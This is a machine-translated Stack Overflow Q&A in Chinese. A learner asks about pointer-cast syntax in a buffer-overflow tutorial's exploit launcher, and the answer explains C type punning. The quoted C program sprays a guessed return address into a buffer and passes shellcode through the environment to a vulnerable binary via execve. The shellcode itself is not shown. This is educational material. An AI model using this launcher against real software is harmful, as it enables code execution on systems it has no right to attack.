- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
我在有关缓冲区溢出的教程中遇到了一些代码。这是一个利用易受缓冲区溢出影响的简单程序的程序(如果某些堆栈保护机制已关闭)。
我的问题是:for 循环在做什么?我的意思是 for 循环中的行:
*(void **)(buf + i) = addr;
这是一种我以前从未见过的奇怪语法,或者我可能见过它,但它只是让我感到困惑。
该程序的想法是将 buf 作为参数传递给易受攻击的程序,并通过 strcpy 覆盖堆栈上的返回地址,以便运行在环境参数中传递的 shellcode。
谢谢!
完整代码:
int main(int argc, char **argv) {
void *addr = (char *) 0xc0000000 - 4 - (strlen(VULN) + 1) - (strlen(&shellcode) + 1);
char buf[768];
size_t i;
for (i = 0; i < sizeof(buf); i += sizeof(void *)) {
*(void **)(buf + i) = addr;
}
char *params[] = { VULN, buf, NULL };
char *env[] = { &shellcode, NULL };
execve(VULN, params, env);
perror("execve");
return -1;
}
最佳答案
C 有一种Treehorn 类型系统。对于 T
类型的任何对象 x
,您可以假装它是不同类型的对象。为此,您需要转换对象的地址。所以,在步骤中:
T x;
是 T
类型的对象。
&x
是对象的地址,它是 T *
类型——“指向 T
的指针”。
现在假设这是一个指向其他东西的指针:(U *)(&x)
– 一个“指向 U
的指针”,但它是相同的值.
如果我们取消引用它,我们将对象 x
视为一个 U
:*(U *)(&x)
现在将所有这些应用于代码中的 T = char
、x = buf[i]
和 U = void *
。请注意,&buf[i]
与 buf + i
相同。另请注意,i
以 sizeof(void *)
的步长递增,因此循环的每一轮都不会占用前几轮所触及的内存。
一个警告:通常不允许将一个对象视为不同类型的对象;这是未定义的行为。只有一些异常(exception);例如您可以将 int
视为 unsigned int
,并且可以将任何对象 x
视为 char [x 大小]
。 (这些都不是您的代码中的情况,它的格式不正确。)
关于令人困惑的 C 语法,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/22337554/
很抱歉新手的问题,但是: 我最近才发现“=”运算符不只是处理对象/等等。值(value),也是引用。这很酷,但我认为这对变量来说是不一样的,它不会在存储整数或 float 的变量之间创建引用。后来我觉
我是一名优秀的程序员,十分优秀!